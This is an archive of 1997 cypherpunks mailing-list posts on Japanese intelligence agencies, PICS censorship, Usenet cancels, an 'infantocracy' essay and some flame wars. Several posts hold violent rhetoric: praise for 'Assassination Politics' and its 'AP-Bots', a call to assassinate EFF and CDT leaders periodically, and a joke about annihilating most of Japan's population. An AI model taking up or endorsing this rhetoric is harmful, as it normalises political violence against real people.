and Time magazine concerning the possible formation of a new
intelligence "superagency." Ueno Teruaki, in the Japan Times, quoted

"Japanese spies" as saying that "it is in the nation's interest to get
independent assessments of situations instead of accepting the
offerings of allies." And in the Time article, Nishihara Masashi, a
research director at the National Institute of Defense Studies was
quoted as saying, "we need more independent intelligence if we are
going to play an expanded role in international affairs." In the wake of
the second leak in October 1995, these calls have only grown more
strident, and this leaves open the possibility that elements within the
U.S. administration may have hoped to use the revelations as a lever
to push Japan into bearing a greater share of its "defense burden."
Conservative public opinion magazines such as Bungei Shunju and
SAPIO have published papers, typically light in information content
but heavy in rhetoric, decrying Japan's lack of ability to defend itself
in the coming "intelligence wars." Conservative critics have renewed
calls for the passage of some sort of "anti-espionage" legislation, an
issue that was a favorite of Nakasone Yasuhiro during his
administration in the early 1980s (though Nakasone was unable to get
the law passed). The typical claim of these commentators is that
Japan's intelligence capabilities are in a crippled state, and that (though
this is generally unstated) when relations with the U.S. deteriorate,
Japan will be left vulnerable. These calls have, in fact, led to concrete
plans to unify them into a single super agency modeled on the CIA in
the United States. Japan's "Crippled" Intelligence It would be a
mistake, however, to take at face value the claims that Japan's
intelligence-gathering capabilities are "crippled." There are, in fact, a
whole series of offices that deal with such matters, though it is true
that they are (like most Japanese bureaucratic functions) divided
between agencies with conflicting interests, who may at times be more
interested in guarding their own territories than in doing any real
work. At present, Japan's main central official intelligence-gathering
agency is the so-called Naicho, a small section of the Prime Minister's
Office staffed by some 80 personnel who analyze information from
abroad. Proponents of a strengthened apparatus claim that this group
is basically ineffectual, and spends most of its energy having outside
researchers and professors translate newspaper articles and official
documents from abroad. It is supposed to act as a coordinating agency
for other groups in the government, but, the critics say, it does not. In
a recent issue of Jiyu Ishi, an anarchist publication, however, one

author claimed that this office is currently being strengthened to
conduct surveillance on citizen activists. The two largest government
sections that are involved in intelligence are the Public Security
Investigation Agency (Koancho) - which is mainly involved in
counter-espionage - and the different intelligence sections of the
Defense Agency and Self-Defense Forces, in particular the group
called Chobetsu, with some 1,100 personnel, under the Joint Chiefs
of Staff, which analyzes radio and other transmissions in and around
Japan. There are also sections within the Foreign Ministry, MITI

(through its external trade organization, JETRO), the National Police
Agency and the Metropolitan Police Department that deal with
intelligence work, though on a smaller scale. Attention has recently
focused on the Koancho and Chobetsu, the two largest agencies, as
they are currently jockeying for position in the new "superagency" that
many are calling for. The Koancho, for its part, was set up in 1952 as
an agency to investigate and control internal subversion, and its

activities focus mainly on the far left and right, as well as the Japan
Communist Party, which was its main target during its early years. In
addition, it is probably the single group in Japan that is most
responsible for surveillance of resident Koreans, as statements made
by sources within the Koancho almost invariably point to how "North
Korea is scheming against Japan." At present, it is focusing its
surveillance on Aum Shinrikyo, partly in a move to gain increased
legitimacy. It is staffed by some 1,800 investigators. The New
"Superagency" The Chobetsu, for its part, is part of the Self-Defense
Forces, so its main focus is on military intelligence. Its main targets

are, naturally, the Korean peninsula, China, and Russia. There are
plans, however, which have not been well carried in the mainstream
press (though they are not in reality secret) to unite the different
groups within the defense community into a new "superagency"
which would rival the CIA. In next year's budget plan, funds have
actually been appropriated for the construction of a new headquarters
to house the Defense Agency and SDF in Ichigaya, Tokyo (the site,
incidentally, where Mishima Yukio committed suicide in 1971). This
new installation will be used to house the new superagency, or
"information headquarters," and the staffing level is eventually
expected to reach 5,000 or even 6,000 personnel, half of whom will
be field agents. Oddly enough, the focus of this new agency, if one

<6000 employees....now that's starting to look more like a large,
NSA-scaled operation! And Joicho Ito can be a part of this grand and
glorious venture! What would-be journalist wouldn't jump at the opportunity
to become one with Big Brother?>

takes the military planners at their word, would seem to be almost
exclusively domestic. What this means is that a further 3,000
personnel will be added to the 1,800-odd existing investigators in the
Koancho whose main task is to look out for spies inside Japan. There
is hardly any focus, however, on events outside. This is partly due,
no doubt, to the existence of Article 9 of the Constitution, which (at
least according to the most accepted "interpretation" forbids Japanese
military forces from operating outside of the country. It is known, for
instance, that Japan's military planners would like to launch a military
surveillance satellite, but they have not (yet) been able to carry out the
plan. If we look at espionage, we find that JETRO has also attracted
some attention in recent years, but only because of the larger focus
given to economic intelligence, and the fact that JETRO's activities are
mostly focused on Japan's nominal allies in the U.S. and Western
Europe. Given a system where most of the heavy-duty agencies such

as the Koancho are almost solely focused on counter-espionage,
JETRO is obviously involved in a project of a different nature.
"Outside Agencies" In numbers, the Japanese intelligence community
may seem, indeed, to be a hobbled version of its counterparts in the
U.S., Russia, France, or Israel, especially in terms of espionage,
though the inauguration of the new "information headquarters" may
change this image. When looking at Japanese intelligence-gathering
capabilities, however, due consideration must be given to the fact that
these functions have historically been "subcontracted" out to the
private sector. During the early 20th century and in the prewar and

<"Subcontracted out to the private sector." Now there's the real
explanation for why Japanese intelligence agencies are not yet staffed at
NSA-type levels. The MITI-influenced corporations are working closely with
the SIGINT facilities. Could be why that design tape for the x86 series
vanished upon arrival in Tokyo...whoops, now Chobetsu will have to shoot
me.>

wartime periods, it is well documented that Japanese trading
companies were valuable sources of information to government
agencies. Nor can it be said that such relationships no longer exist. In
a recent issue of Bungei Shunju, a retired Koancho official wrote of
the existence of an "external organization" called Kyudankai, which
had the function of analyzing information (hence espionage) on
military movements in the Soviet Union. In fact, he claimed that this
group had knowledge of the impending 1980 invasion of Afghanistan,
and communicated these suspicions to the Japanese government.
Interestingly, the article was obviously an attempt to boost the prestige
of his organization, but it ends up giving credibility to suspicions that
Japan's intelligence services are not as crippled as they might first
appear to be. We are thus left with the suspicion, albeit
undocumented, that other similar organizations continue to exist today
and to provide privileged information to the Japanese government.

Moreover, it is easy to conclude the inauguration of the new
"information headquarters" in the Defense Agency may augur a period
of increased intelligence activities. A build-up of personnel is
obviously taking place, and in a crisis it seems clear that the tasks of
these people could quickly be reoriented to play a more
outward-looking role. The numbers themselves bear watching.

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."

From dformosa at st.nepean.uws.edu.au  Sun Aug  3 13:13:10 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Mon, 4 Aug 1997 04:13:10 +0800
Subject: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: 
Message-ID: 

-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 2 Aug 1997, Paul Bradley wrote:

[...]

> > Ok so if a mailing list gateway @bwalk.dm.com pumps thousands of broken
> > posts into usenet you don't wish them to be removed from usenet?
> 
> That would be for Dimitri to decide for himself, and not for some 
> cocksucker to take a unilateral decision on.

I have made no such unilateral decision,  I have simply asked a question
of the good Doctor.

> Of course disabling cancels on all news-servers would mean such a freak
> article couldn`t be cancelled, even by it`s author, 

Wouldn't authentercated cancel models be better so an artical could be
cancelled by its author and no other.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

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From apache at bear.apana.org.au  Sun Aug  3 15:30:10 1997
From: apache at bear.apana.org.au (Charles)
Date: Mon, 4 Aug 1997 06:30:10 +0800
Subject: PICS and intellectual freedom FAQ
In-Reply-To: 
Message-ID: <199708032205.IAA09870@bear.apana.org.au>

-----BEGIN PGP SIGNED MESSAGE-----

A link in the PICS FAQ that Declan posted was to The Net Labeling
Delusion. For anyone interested in the relationship of PICS/RASCi
and censorship I recommend reading this article in detail. It presents
a very interesting case for censorship by stealth and argues that since
blocking software will block unlabeled sites that mandatory-voluntary
labeling is unnecessary and unjustified. It also examines some
possible motives on the part of government for advocating such
mandatory-voluntary censorship schemes.

For the full text see :

     http://www.thehub.com.au/~rene/liberty/label.html

Here is a snip from the introduction..

Protection or Oppression
========================

The developers of PICS say it's an infrastructure which facilitates
voluntary labelling  and selection of Internet content.  They promote
it as "Internet Access Controls  Without Censorship". Its advocates
say it's nothing to do with censorship and can't  assist the
censors. Meanwhile, PICS has achieved its original objective: to
provide an  alternative to government censorship legislation, that is,
to provide instead a  technological means of facilitating censorship. 

Governments, finally beginning to comprehend the difficulties of
blatantly censoring the Net, are becoming enthused about filtering
technology. Service providers, desperately hoping to place themselves
out of reach of over-zealous governments who would hold them liable
for material they carry, are demanding their customers rate and label
all their material. 

Ironically, an increasing number of the original proponents of
filtering software are becoming much less enthused as a host of new
issues arise. Filtering programs and labelling look set to become
privatised censorship disguised as consumer information backed by
government coercion. 

This document does not propose that PICS systems and third party
filtering software should be entirely black-banned by Net users. It
does, however, suggest that parents and other consumers should
ascertain what type of information is, and is not, being blocked and
that filtering advocates should be extremely cautious about
unreservedly promoting these systems as the saviour of the Net. 

Contents: 

Summary
What are filtering programs and rating/labelling systems?
Labelling has nothing to do with censorship, does it? 
   What is censorship? 
   What is labelling? 
   Labels are just tags, helpful information, surely? 
   Book in libraries are labelled, is there a difference? 
   Are book reviews similar to labels? 
   So, is labelling censorship or not? 
Is labelling likely to become compulsory? 
Will labelling protect children from harmful material? 
Do governments have a legitimate interest in enforcing, or encouraging,
labelling? 
Why would governments seek to enforce labelling? 
   The alleged reasons
   - To protect children
   - To enable electronic commerce to reach its full potential
   The other agenda
   - Censorship by Stealth: making publication too difficult, costly
   and risky
   - Banning access to the rest of the world
   - Facilitating future changes to censorship laws
   - Being seen to be doing something
How would governments enforce labelling? 
   Legislation 
   Coercion 
What's wrong with compulsory labelling anyway? 
What's wrong with the RSACi Rating System?
Voluntary labelling is a good idea, isn't it?
Conclusion

 Summary: 

Indications are mounting that labelling of all content will be made
mandatory in Australia.  

Claims that all material, particularly material unsuitable for
children, must be labelled in order to protect children are
technologically ignorant at best, insidious at worst.

Unilateral action in Australia will increase costs in the burgeoning
on-line multimedia industry here, and may force many sites off-shore.

Compulsory labelling will restrict quantity and quality of information
as a result of: 

   the complexity, unsuitability and inadequacies of some, probably all,
   rating systems similar to RSACi 
   difficulties associated with lack of technical knowledge 
   overly cautious ratings because it is too much effort, or to avoid
   potential complaints, or to purposely seek to undermine an enforced
   system 
   lack of time and/or staff to rate material 
   financial restraints 
   unwillingness to enter into complex legal agreements with ratings
   organisations 
   unwillingness to provide personal information to ratings organisations
   which can be used for, or sold to, mailing lists etc. 

Compulsory labelling will force content providers to: 

   self-censor in accord with someone else's value system 
   place themselves at greater risk of complaints regarding legal material
   because of the many shades of grey inherent in rating systems.

Compulsory labelling enables governments to achieve censorship by
stealth as well as facilitate future more censorious laws whilst
claiming non-censorious intent.

Compulsory labelling achieved by government coercion of private
enterprise enables government to avoid all responsibility and
criticism for resultant problems and difficulties.

Voluntary labelling of material which is suitable and intended for
children will provide a child-safe environment.

Rating services have the potential to influence community views and
attitudes to a greater extent than either existing broadcast media or
uncensored access to the Internet.  

Rating organisations must be required to publicly disclose concise
details of rating criteria and value systems to ensure consumers can
ascertain what is, or is not, blocked. 

- -- 
   .////.   .//    Charles Senescall             apache at bear.apana.org.au
 o:::::::::///                                   apache at quux.apana.org.au
>::::::::::\\\     Finger me @bear for PGP PUBKEY      Brisbane AUSTRALIA
   '\\\\\'   \\    Apache

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From enoch at zipcon.net  Sun Aug  3 16:21:53 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Mon, 4 Aug 1997 07:21:53 +0800
Subject: Eternity Content Suggestions
Message-ID: <19970803231431.4542.qmail@zipcon.net>

Just a few off the top of my head... 

An "Assassination Politics" home page, containing the story of Jim Bell,
all publicly available documents on the case, and links to all the
currently operating AP-Bots.

The alleged NSA Manual.

Favorite Cypherpunks Cryptographic Links, including helpful offshore
source code archives, and a pointer to the Cyphernomicon.

Seekret Skriptures ('Nuff Said)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}

From ppomes at Qualcomm.com  Sun Aug  3 16:53:04 1997
From: ppomes at Qualcomm.com (Paul Pomes)
Date: Mon, 4 Aug 1997 07:53:04 +0800
Subject: Entrust Technologies's Solo - free download
In-Reply-To: 
Message-ID: <25455.870651372@zelkova.qualcomm.com>

|Paul Pomes sends me harrassing e-mail and quotes more obscenities from
|the anonymous remailers:

As you posted the obscenities in the first place I fail to understand your
objections.

Pot, kettle, black, Dimi.  Again, why are you trying to shut down the 
remailers with the Vulis-bot?

/pbp

From nobody at REPLAY.COM  Sun Aug  3 17:36:52 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 4 Aug 1997 08:36:52 +0800
Subject: Broad-Band Proclaimations ("EVERYBODY AGREES THAT...)
Message-ID: <199708040023.CAA04380@basement.replay.com>

EVERYBODY AGREES THAT...smoking is bad for you.

>From News of the Weird:
* Among the recipients of the American Lung Association's
"Thumb's Up" motion-picture awards, presented at the time of the
Oscars in  March to honor those films and characters who present a
no-smoking image, was Woody Harrelson for his role in
discouraging his movie wife from smoking in "The People Vs.
Larry Flynt."  However, in the movie, both Flynts are heavily
addicted to illegal drugs and seem to be indifferent to sharing
needles for injecting them.

From sei at gosnet.com  Mon Aug  4 08:43:12 1997
From: sei at gosnet.com (Foreign Sales 4U)
Date: Mon, 4 Aug 1997 08:43:12 -0700 (PDT)
Subject: FREE SAMPLES......FOREIGN SALES
Message-ID: <199708043242FAA56018@21564561HG.5145345H.4684664KAA4.86.32.7>

 =============================
 THIS IS A ONE TIME MESSAGE... 
 =============================

WE LOCATED YOUR COMPANY ON THE INTERNET.........AND KNOW HOW TO MAKE 
FOREIGN SALES  FOR YOU..............WE WANT TO SEND THE PRESIDENT
OF THE COMPANY SOME EXAMPLES OF OUR WORK WITH YOUR EXACT PRODUCT. 

WHAT IS THE NAME OF THE PRESIDENT OF YOUR COMPANY PLEASE??????
WOULD YOU BE SO KIND AS TO  E-MAIL US  HIS/HER NAME.

THANK YOU.........IRENE NATHAN........SCOTT ALLEN

EXPORT SALES......email us at: user2361 at servmail.com
..FOREIGN S

From tcmay at got.net  Sun Aug  3 19:47:34 1997
From: tcmay at got.net (Tim May)
Date: Mon, 4 Aug 1997 10:47:34 +0800
Subject: How age and PICS ratings may go down...
Message-ID: <199708040231.TAA09298@you.got.net>

One way "voluntary" age ratings--very similar to PICS ratings--may be
mandated is through the kind of "plea agreement" cited below. (I don't
know if this site is real or not, but the post presents a scenario which
will become more common, I think.)

Someone writes something, or has a site, and is busted for some charge.
(There are many, even with what remains of the First Amendment. Child
porn, obscenity, the new copyright laws, the Anti-Terrorism Act, etc.) A
nolo contendre or guilty plea to a lesser charge is entered, with the
agreement that an age verification system will be used, or a PICS rating,
etc. And so the government gets the kind of censorship it wants.

(Duncan will likely argue that this is impossible to enforce. Maybe in the
limit, in the sense that some will fall through the cracks. But the
dangers to anyone hosting words or pictures on their sites is very real.
As more and more ISPs drop controversial material--think of several recent
cases, and perhaps even the case of our own John Young--and as more child
porn/celebrity nude/obscenity cases are filed....by the time the Thomases
are both out of prison, most sites will likely be heavily editing
themselves, imposing age limits, and using PICS ratings.)

The article is below.

--Tim May

> From: 
> Newsgroups: alt.binaries.pictures.joanne-guest
> Subject: The celeb site illegal in Texas
> Date: 3 Aug 1997 10:20:21 GMT
> Organization: Commuter Communication Systems, Austin TX
> Lines: 36
> Message-ID: <5s1m15$2m6$732 at quest.ccsi.com>
> NNTP-Posting-Host: savage24.ccsi.com
> Xref: news.znet.com alt.binaries.pictures.joanne-guest:5351
> 
> The fakes page, along with the XXX passwords page, is the one that got
me in trouible with the law ans the community action groups. I used to
have these two pages  in the free access web, and it seems that many
people found it objectionable that kids could get to the "Celebrity
Blowjobs" and other work. They were right. I was wrong. I tried the
Ulysses argument, but they just wouldn't accept the rationale that
watching Kathy Lee give head had serious and important literary value. By
the way, this is the same page that generated the two-page write-up in
Internet Underground.
> 
> So, I copped a plea, agreed to Adult Verification. Anyway, there is age
verification now, and I am free to offend the adults of my community, and
hopefully all communities everywhere.
> 
> AdultSights members......you're there dudes.
> 
> non-members, you can get one instantly
> (also gets you in to my passwords page, my Encyclopedia (2200 celebs),
and much more, plus 2,000 other sites)
> 
> http://www.scoopy.net/fooled.htm

From kent at songbird.com  Sun Aug  3 20:02:58 1997
From: kent at songbird.com (Kent Crispin)
Date: Mon, 4 Aug 1997 11:02:58 +0800
Subject: The Poor in Spirit
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <19970803193422.17765@bywater.songbird.com>

On Sun, Aug 03, 1997 at 10:28:28AM -0400, frissell at panix.com wrote:
>At 09:29 AM 8/2/97 -0700, Kent Crispin wrote:
>>In more general terms: A "free market" fundamentally grants more
>>control to those with more money.  
>
>In a free society, the "poor" have more money (collectively) than the rich 
>and outbid them for resources all the time.  

I'm not sure what you mean by "free society", since earlier writings
by you and others indicate that you believe that no such thing
currently exists (certainly not here in the US), or indeed has ever
existed.  Consequently, your statement here must be false on its 
face, since the poor have never been in a "free society".

Even so, your statement is not an argument against what I said in any
significant way, but rather is a corollary -- the trend for the rich
to get richer and the poor to get poorer, if extrapolated to the
extreme, still results in a very small number of people controlling
more wealth than all the rest of mankind.  What intrinsic 
characteristic of completely unrestricted markets do you see that 
naturally contervails this trend?

> Were this not so, communities of 
>the "poor" would never increase in size and yet they do.

Doesn't follow at all.  The poor can increase in numbers, and just 
get poorer.  You can see this all over the world.

>It is also much easier for the poor to get money in a free society than for 
>the powerless to get power in the sort of societies you favor.

Doubtful.  I favor free societies.  Realistic free societies, that is. 

>I can teach a poor person in America today the simple ways to triple or 
>quadruple his income. 

I don't believe you.  Oh, in isolated cases perhaps.  But not as a 
general lesson you can give to any Joe Poverty, and suddenly make 
him middle class.

But once again I am struck by the thought that, contrary to much of 
the sentiment expressed on this list, you actually believe that 
America today is a *true free society*.  Have you turned in your 
cpunks credentials?

> I could not teach a resident of France or Germany or 
>Japan a simple way to triple or quadruple his "influence" on his government

But are you then  implying  that you could in the US!?!?

>and indeed a tripling of such influence would give him much less than a 
>tripling of income.

No doubt about it.  :-)

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html

From azur at netcom.com  Sun Aug  3 20:37:42 1997
From: azur at netcom.com (Steve Schear)
Date: Mon, 4 Aug 1997 11:37:42 +0800
Subject: Infantocracy
Message-ID: 

INFANTOCRACY

On both the state and federal level, government has become obsessed with
kiddie issues

By Rafael Tammariello

The United,States is evolving into what can be characterized as the world's
first "infantocracy" a nation whose laws, policies and political culture
are captive to the perceived needs and wants of a mythical brood known as
"The Children."

By proxy, the United States is becoming a country ruled by "The Children"
as the central government embarks on a systematic quest to circumscribe the
liberties of adults in the name of shielding "The Children" from all things
harmful.

"The Children" are not real, fleshandblood kids who grow up to be adults,
who spend the remaining 80 percent of their lives as adults and seek to
enjoy the rights, privileges and prerogatives of adulthood. No. "The
Children" of the infantocracy's conception are sainted, angelic beings,
wideeyed, wholesome and perpetually about 7 years old, judging from the
White House photo-ops.  "The Children" are pure and infinitely vulnerable
beings who will never grow up, never need to exerise adult choices, never
light up a cigar, watch a good violent drama on TV or entertain friends
over the backyard grill.

The emerging infantocracy vigorously seeks to limit the range of adult
activities-from free speech to driving to smoking to gun use to television
viewing to Internet access to backyard cooking.

These days, the business of America is certainly not the business of
securing the liberty of her citizens, as the founding fathers envisioned
two centuries ago. Ceaseless attacks on the Bill of Rights-launched in the
name of protecting "The Children" from guns or smut or whatever-emanate
from the very members of Congress sworn to defend those freedoms.

The legislative and executive branches of government at the state and
national levels are obsessed with kiddie issues-to the virtual exclusion of
all else.

What was the theme of last week's National Governor's Association confab at
The Mirage? Early childhood development, replete with gurgling babies as
omnipresent props. At one point, Nevada Gov. Bob Miller was practically
buried in babies. A week earlier, President Clinton, surrounded by
squealing infants, pushed for a tobacco surtax to finance socialized
medicine for "The Children."	~

Who are these children-"The Children"-whose salvation lies in the
suppression of adult freedoms and prerogatives?

Consider: A comprehensive poll by Public Agenda, a New Yorkbased research
firm, asked 2,000 adults to reveal their thoughts about America's
youngsters. The results, published in June under the title "Kids These
Days: What Americans Really Think About the Next Generation," indicate a
massive vote of "no confidence" in kids. A strong majority of the adults
surveyed said they perceived a disturbing upsurge in "wild, rude and
frightening behavior among young people. Fully 63 percent did not believe
today's kids will make the country a better place when they grow up.

But "The Children" are not these  children-not the illmannered youngsters
in big pants with their hats on backwards, or the Beevis and Butthead
clones. No, no. "The Children" are sainted, immortal beings, forever young,
forever innocent, vulnerable and in need of protection from their saviors
in Washington.

Let's get this straight: The majority of children are good kids; children
do need protection; they do need nurturing and moral direction-from their
parents, not Uncle Sam.

Our children are the future. But, strangely, the American infantocracy is
not really, as its advocates assert, concerned about the children's future.
Indeed, the infantocracy contemplates no realistic future for "The
Children-that is, it ; fails to take into account the inevitable fact that
childhood is a fleeting thing and that a society molded in the image of a
daycare center may be hostile to adults, which the children, the real
children, will soon become.

When the real children become real adults, they may want to engage in those
grownup activities that are being proscribed wholesale by the grim,
puritanical infantocracy being built in the name of their mythical
counterparts "The Children."

Bill Clinton is, of course, the chief architect of the infantocracy. Every
significant Clinton policy initiative-from tax credits to gun control to
nuclear arms reduction-is trotted out under the banner of "The Children."

But others on both the left and right assist in the creation of this odd
new society. Indeed, the most recent attempt to limit adult choices in the
name of "The Children" emanated from the right, in the dour personage of
Utah Sen. Orrin Hatch, who sought a national ban on
gambling within 10,000 feet of schools, parks and any other place "The
Children" might find themselves. The Hatch initiative, which could throttle
Las Vegas (a bright anomaly in the new childfixated universe) has stalled.
But do not be surprised if a similar proposal arises from the national
gambling commission's conservative moralists or from some of their
soulmates in Congress.

Then there was Republican Sen. Mark James' attempt in the Nevada
Legislature to censor advertising that might offend the sensibilities of
"The Children."

Attacks on adultoriented material on the Internet and on television-the
calls for a "voluntary ratings system" and "voluntary" selfcensorship (all
under threat of federal regulation, of course)-have come from both
Biblebrandishing rightists and therapeuticstate leftists. The voluntary
ratings system is the initial baby step toward government-ordered
infantiization of the airwaves making them safe for "The
Children." The mythical "Children," you understand, will remain seven
years, old forever. Unlike real children, "The Children" never' grow up and
want to watch a good bloody flick on the tube.

The Constitution's First Amendment provides no armor when the infantocracy
deploys its SWAT teams to rescue "The Children." Witness Joe Camel,
bludgeoned to death "voluntarily" by his creator as government regulators,
the White House, Congress, and a legion of attorneys general grabbed, the
tobacco industry's  throat.

In the name of saving "The Children" from Demon Tobacco, a whole group of'
companies, engaged in a heavily taxed legal business have volunteered to
surrender  their First' Amendment right to advertise.

If Clinton and his two chief tobacco advisers - Baby Doctors C. Everet Koop
and David Kessler work their will, the United States will have tobacco
prohibition in a few years, and that will include cigars. When Mr.
Clinton's FDA reduces the amount of nicotine in cigars and cigarettes to
zero, smokers will be forced to find the real smokes on the black market

But the emergence of a black market and new criminal class doesn't bother
Bill Clinton. As the president said in Madrid on July 9: "What is a black
market ... (a) 1 percent penetration of the market, a  3 percent
penetration of the market? Would we deny the FDA the right to protect 100
percent of our citizens because there might be a few blackmarket
cigarettes around?''

Ah, the sainted Children. Surely, as Mr. Clinton states, banning nicotine
will protect 100 percent of them, just as the prohibition of marijuana has
kept them 100 percent drugfree.  And, if Clinton's estimates are correct,
only 500,000 to 1.5 million American adults will be converted into
blackmarket criminals. We'll need some new prisons-at least 500 of them.
The benevolent garb of the infantocracy conceals the mailed fist of The
Enforcer.

The infantocracy's jihad against the First Amendment and adultAmericans
who choose to smoke is not its only display of raw force. New cleanair
rules advanced by Bill Clinton and his fanatical Environmental Protection
Agency also represent a vast expansion of government power over states,
cities and individuals, right down to their barbecuing habits. When Mr.
Clinton announced the new rules on June 25, he said: "I have approved some
very strong new regulations today that will be somewhat controversial, but
think kids ought to be healthy." Come ye forth and sacrifice at the altar
of the sainted "Children."

Under the new EPA edict, cities across the nation will be compelled to
adopt and enforce policies that are designed to result in air that is
virtually free of dust and manmade ozone. The ' cost of implementing the
rules - that the EPA hypothesizes will marginally extend the lifespans of
some kids with asthma-could, by one estimate, exceed $330 billion a year,
far more than the defense budget.

The Los Angeles limes points out, no technology exists that could scrub
that city's air clean enough the meet the new standards. The only way to
achieve compliance in cities such as L.A. (which cannot handle even the
existing air quality standards) would be the adoption of draconian
measures: restrictions on driving, mandated carpooling, shutting down
industries, banning gaspowered lawn mowers and so on.

Mr. Clinton and the EPA pooh pooh the idea that many urban areas, in their
desperation to comply with Washington's dictates, will be forced to outlaw
fireplaces and backyard barbecues. But cities such as Los Angeles and
Denver in their struggle to meet even the extant cleanair standards-have
already taken such steps; and other cities will be forced to follow suit.

As the infantocracy gears up, its creators and supporters busy themselves
with many other projects.  Clinton has already ordered federal officers'"
to affix riggerlocks on their guns at home, and he fervently yearns for
national legislation requiring, hem on all firearms owned' by citizens.
Said Clinton in pushing! is proposal: "We protect aspirin bottles in this
country better then we protect guns from accidents by children." The
Sainted Children. And, if trigger locks .'prevent' adults,: from
!effectively defending their homes and their children, real children - it's
just another requisite sacrifice of adult choices in the name of the
mythical "Children" who are always 7 years old and who never grow up to
have homes and families of their own to defend.

Hand it to Yale Professor Kelly Brownell, director of the University's
Center for Eating and Weight Disorders, for providing the infantocracy a
focus for its next crusade. Heir Docktor Brownell has raised the alarm: The
United States is wash in unhealthful, fatty foods, and kids, at the urging
of bad clowns, are lured into eating them. Two weeks ago, Brownell told The
Washington Times: "Junk food advertisements should be regulated, and excise
taxes imposed on highfat foods, just as they are on tobacco and
alcohol.... As a culture, we get upset about Joe Camel, yet we tolerate our
children seeing 10,000 commercials a year that promote foods that are every
bit as unhealthy."

"The Children," you see, never grow up and will, never want to order a
wellmarbled steak with chocolate mousse for dessert. For "The Children"
remain 7 years old forever, and cherish their fruits and vegetables.

Joe Camel, meet Ronald McDonald in the infantocracy's roomy dungeon.

The emerging American infantocracy embraces a vision that does not include
you driving to a friend's house, grilling burgers on the backyard barbecue,
and enjoying a cigar afterwards in front of the fireplace. The engineers of
the infantocracy are creating a society tightly fixated on stamping out all
of life's little risks. It's a task undertaken at the expense of grownup
things and adult choices. This new society is a strange, confining place, a
place that's increasingly difficult to recognize as the land of the free or
the home of the brave.

From jya at pipeline.com  Sun Aug  3 20:44:25 1997
From: jya at pipeline.com (John Young)
Date: Mon, 4 Aug 1997 11:44:25 +0800
Subject: PGP Answers RSA
Message-ID: <1.5.4.32.19970804032232.0085c390@pop.pipeline.com>

Thanks to John Gilmore we offer a 44-page package of
PGP's court filings in response to RSA's suit:

   http://jyx.com/rsavpgp2.htm

Exhibits of early letters among Cylink, RSA, and PGP preceding 
the suit are of interest, one of which has been provided before
by Greg Broiles at parrhesia.com.

We've also put on JYX the AOL-axed RSA v. PGP docs, linked
to this latest: the RSA suit and the Lemcom License.

A bit more from JG will be ready in a few days.

From nobody at REPLAY.COM  Sun Aug  3 21:05:58 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 4 Aug 1997 12:05:58 +0800
Subject: Tim Throws a "Leaner" / Re: Tim Speaks the Truth /  Re: Tim Misfires / Re: Joichi Ito as a Junior Policeman
Message-ID: <199708040346.FAA26108@basement.replay.com>

Joichi Ito wrote:
> As for Tim's message... I keep worrying (when I am in Japan) that I'm too
> radical, so it's nice to hear from someone who is really hardcore to put
> a wimp like me in my place. ;-P

  Actually, when Tim puts someone in what he considers to be their
place,
it usually involves the purchase of a tombstone.

Tim May wrote:
> Unlike "Toto," who claims to be "Truthmonger," I speak the truth.

"Am I Toto, dreaming I am TruthMonger, or TruthMonger, dreaming I am
Toto?"

> At 5:12 AM -0700 8/3/97, Joichi Ito wrote:
> >so they probably are pretty militaristic), Japan does not have the
> >equivalent of the NSA. It really is in Japanese national security interests

> Wise up, Joichi. You live in society more totalitarian than anything we
> fear. 

  Japanese society has long been very rule-oriented, in large part as
a result of the country's geography, population and history.
  A "No Farting" sign which might reek of totalitarianism when placed
on the open range, might well seem less so when placed in a two-man
tent occupied by six people. Environment, geography and the history
of a a country, society and its people, all play a part in the degree
to which an individual will view their personal position in regard to
the society and government around them. And each will perceive the way
in which they feel they can best promote their beliefs within their
society and government.

> Japanese citizen-units under video surveillance and afraid to speak
> out. 

  It seemed to me that after Jim Bell's arrest, most of the posts to
the list posted an almost-standard disclaimer: "Actually, although
I hardly knew the man, thought he was a _loon_, and _disagreed_ with
most of what he had to say..."

> And surveillance and espionage technology deployed by your fascist
> government--a term I mean literally, not casually--will worsen things
> dramatically.
> The only "cooperation" with them is to seek their annihilation.

  Government aside, if I was forced by fate to live in Japan, my first
act would probably be to annihilate 80% of the population, just to get
enough elbow room to negate the need for so damn many rules, both from
society and government. Of course, the same could probably be said for
New York City, from my persepective.

> And nothing but mischief will come out any meetings with government on
> "crypto policy," as their goals can never be our goals. At least in the
> U.S., despite obvious flaws, we have a "Congress shall make no law"
> provision which _tends_ to make government meddling in speech, such as
> meddling in crypto, more difficult.

  I hope that the "flag" Tim is wrapping himself in isn't the same one
that he was burning yesterday.
  {Not that I'm accusing Tim of being purposely deceitful. It's just
that when we throw a "leaner" instead of a "ringer," they sometimes
lean in opposite directions.}

  Seriously, I believe in the original goals of organizations such as
the EFF and CDT, etc, but I also believe that their leaders should be
assassinated every few years in order to allow the promotion of people
whose senses are not so hardened by D.C. that they no longer recognize
a "stench" when they smell it. (ibid, the Constitution and our beloved
Legislators.)
  Joichi Ito sounds very sincere about his commitment to act in a way
he feels will promote cypherpunkish viewpoints within his system of
government. I can't help but believe, however, that his efforts will
ultimately only serve to delay the creeping spread of tyrannical cancer
in our societies and our governments.
